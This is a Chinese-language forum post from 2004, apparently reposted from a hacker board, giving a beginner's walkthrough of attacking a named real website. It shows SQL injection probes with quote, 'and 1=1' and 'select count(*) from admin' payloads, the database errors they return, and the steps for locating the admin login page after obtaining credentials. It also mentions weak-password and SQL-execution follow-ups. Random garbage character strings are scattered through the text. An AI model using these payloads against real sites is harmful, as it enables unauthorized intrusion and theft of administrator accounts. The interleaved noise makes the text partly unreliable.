QQ登录

只需要一步,快速开始

 注册地址  找回密码
查看: 5160|回复: 0
打印 上一主题 下一主题

菜鸟,我来牵你走--如何查看代码

[复制链接]
字体大小: 正常 放大
韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

跳转到指定楼层
1#
发表于 2004-10-4 00:36 |只看该作者 |正序浏览
|招呼Ta 关注Ta
作者:枫三少  转自:黑基bbs原创作品版: G! q" e$ u; m) O( g! b& u! s

2 L* y) e7 l, X5 R' Y有很多人问过我这个问题。老是听说,看到文章里谁谁谁怎么分析别人的代码怎么来入侵的。那么怎么找代码呢?
+ L0 O. J$ w8 }8 H8 {1 a# H2 a4 m6 i. L* u5 A3 S6 B! E
分析代码,首先你得有源代码。如果找源代码呢?呵呵,假如是分析DV的,就下一个DV的来,看看他的代码。
, |/ `& L* n& h2 G, g1 l- |5 C! y- c  Q
在实战中往往因为时间的愿意我们采用的还有从HTML代码入手。
+ V, r6 i1 L% r6 [: j& j
& n* F/ Z9 F# f. R% i! Q这里我简单的介绍一个过程吧。
$ r* O6 h" q& l! r+ e. j2 F- }. l. _+ c# A# A9 Z
首先我找到一个网站,是我们基地首页有连接的
1 i) P# l; o" i9 p& o* c6 t" Ohttp://www.16china.com/hack/
5 M9 S7 t5 u% ]. v5 o4 Q1 a9 M' s# i+ \9 t4 ~2 u! i$ W
随便选择一个分页:
" s& l4 h. q; m% o$ n3 x4 bhttp://www.16china.com/hack/SoftView.Asp?SoftID=139
9 V# r2 p1 Y- q$ b+ Y典型的ASP。看看能不能注射
( ^! U. \7 P5 F8 ~& L* rhttp://www.16china.com/hack/SoftView.Asp?SoftID=139'
* f; S- m1 @$ g; M% y7 q返回:
, n) u  J& o* L( B& B4 bMicrosoft VBScript 编译器错误 错误 '800a03f6' : b% d) M7 \/ K. n: B! w9 F2 }+ y' s
% x( ?4 W& P/ s9 r. [; n1 t
缺少 'End'   O5 L% j' I+ C3 T% l+ {

" U2 `0 i0 s4 ~+ v! I' I3 |/iisHelp/common/500-100.asp,行242 9 B! I* j1 h. J
. U, x8 K( z. u% |5 u* U! f( L4 _, l. i
Microsoft JET Database Engine 错误 '80040e14'
$ Y+ d  M! @6 ]9 g: m8 R( l+ O6 L, `6 H
字符串的语法错误 在查询表达式 'SoftInfo.CateID=Category.CateID and SoftInfo.SubID=SubCate.SubID and SoftInfo.SoftID=139'' 中。 0 ~6 r2 }! |6 S1 u, e

! `9 v0 i8 n' b/hack/SoftView.Asp,行17
. N9 F3 X% {, H7 H! d再来:
1 T& d5 j& V5 T8 E# vhttp://www.16china.com/hack/SoftView.Asp?SoftID=139%20and%201=1
& z. E) T  b: V7 \; O返回正常网页。( s8 Q& I% [1 ]; ]% V# ?
. h- c! s+ ^5 U
提交:5 J* D# e+ u$ `& D1 \  M% R8 y2 G
http://www.16china.com/hack/Soft ... %20(select%20count(*)%20from%20admin)>=0: I' c: }- b/ v7 F, L

. F6 C/ o+ U) U- b/ o' E* W5 g返回正常页/
2 |8 ]4 u, ^$ ?& V. Dhttp://www.16china.com/hack/Soft ... %20(select%20count(*)%20from%20article)>=0  I: ^' a: p& ]: l! i; y# ?, Q
& `& B+ o6 p) s0 R
同样正常。
) `0 g* @/ l  A) N2 c8 ]/ @
; [( b# F$ D/ W4 F" Hhttp://www.16china.com/hack/Soft ... )%20from%20article)>=0
: a: r: K- \  t& L) u$ W
5 F! ^( b$ w+ m' F) Y7 A……- f5 o) [$ U- L, M) B
, s$ v- q4 a3 C6 r4 O% V
象上面这样我们就可以成功注射网站。那么在拿到管理员帐号密码后如何找后台
; D% u- X, Z, M+ Q2 D按以往的经验我采用:' r$ a" _1 p0 U, K! n3 _
http://www.16china.com/hack/admin  /*这里的”ADMIN“可以用LOGIN等替换*/
3 e7 \7 J) J: O+ A9 n$ R$ l+ {我为什么不用http://www.16china.com/hack/admin.asp
' z) b  w9 ~2 `* e  h4 W* |8 j! Q* rhttp://www.16china.com/hack/admin/index.asp呢?因为我不知道他文件夹里的东西有没有被修改。如果存在ADMIN文件夹,但是并不是常用首页的话IE将返回如“你没有权限浏览网页……”等信息,一般来说我们可以确定后台就在那里。
. ^+ J+ {0 E- J2 L1 ~2 bhttp://www.16china.com/hack/admin返回信息:
# {' u, T6 t8 ~1 }2 I错误提示信息! 9 A; ?3 ^2 D/ d5 o  A7 b7 q
  产生错误的可能原因:
* E( s5 C1 h; `6 g/ K0 s9 a: P, B- }$ C. Y( x( Y
2 x) @0 w; `# L. l3 T$ i
您没有进入本页面的权限!本次操作已被记录!( g1 }  _& g( I) W8 o* \4 v% A
可能您还没有登陆或者不具有使用当前功能的权限!请联系管理员.
- f- B) {% s# O( S  W0 {本页面为[管理员]专用,请先登陆后进入.
$ H& @/ q! m& ^! F" N0 k
( J0 C  H" b. s8 ^' W返回上一页... /*说明登陆URL为常用的如:index.asp...*/3 L: N+ {" }/ `/ K% U
查看HTML代码:
- g$ \" c* w- _6 [" w<html><head><title>错误提示信息!</title>
6 b7 |7 w" f3 m2 N: ~
' i  o: I2 a# |, [# q……
* }5 R. |2 q! r6 B' b% v" B2 j* o$ j
<a href=adminlogin.asp class=meun target=_top>登陆</a>后进入.
2 [6 p( q0 {( e7 S* C! z* T; R6 U" h……7 A% ?. W  R5 V$ }: L

% ^- K3 B; G; o0 T找到了:
: E: Y- A9 `7 b/ J! rhttp://www.16china.com/hack/admin/adminlogin.asp
2 l% `  |( y0 v: Q; D2 d3 S, H. o, s& W6 K; F" z; ?* t

2 _& c. O" o& g8 k) j看看他的源代码告诉我们些什么:8 ]: [% \1 t1 V7 w/ Q7 G
' X' v& ?, Q# ?- ^; d6 ~
<html>
" {! ~: _3 V$ P+ P) K. `( c3 n/ h/ L  A$ w. |. g
<head>) w! G$ ~% x( f* {5 h! Z5 }2 t
<title>管理员登陆</title>
  f' O# T! p) O0 C) q7 @9 e- S/ o8 P# j: V4 f$ s
……………+ H& I- `; P0 I

% ^. G. F' D) m. g* k关于数据库表名这些这里不多讲,看看,如果我们输入正确的帐号密码将回进入
, L" L6 ]$ g1 X/ g% F& Y9 {http://www.16china.com/hack/admin/adminlogin.asp?action=login8 I. G2 v" K; S1 K* K; b' [2 ^
这里。
  ^7 A8 e; |1 q( d6 s% ^1 P* K0 L& h) k, o( D; ~/ ]
只要知道了后台,我们就有很多办法,如弱口令,SQL本地执行(赢政下载系统)……
: P, U: ?( D( C: @# O# w8 Z; }+ H6 W, X, I4 O5 f
懂了吗?好了,时间关系加上本人技术原因就写到这里吧。不懂的可以跟贴,大家一起讨论一下:)
zan
转播转播0 分享淘帖0 分享分享0 收藏收藏0 支持支持1 反对反对0 微信微信
您需要登录后才可以回帖 登录 | 注册地址

qq
收缩
  • 电话咨询

  • 04714969085
fastpost

关于我们| 联系我们| 诚征英才| 对外合作| 产品服务| QQ

手机版|Archiver| |繁體中文 手机客户端  

蒙公网安备 15010502000194号

Powered by Discuz! X2.5   © 2001-2013 数学建模网-数学中国 ( 蒙ICP备14002410号-3 蒙BBS备-0002号 )     论坛法律顾问:王兆丰

GMT+8, 2026-8-25 23:35 , Processed in 0.436195 second(s), 52 queries .

回顶部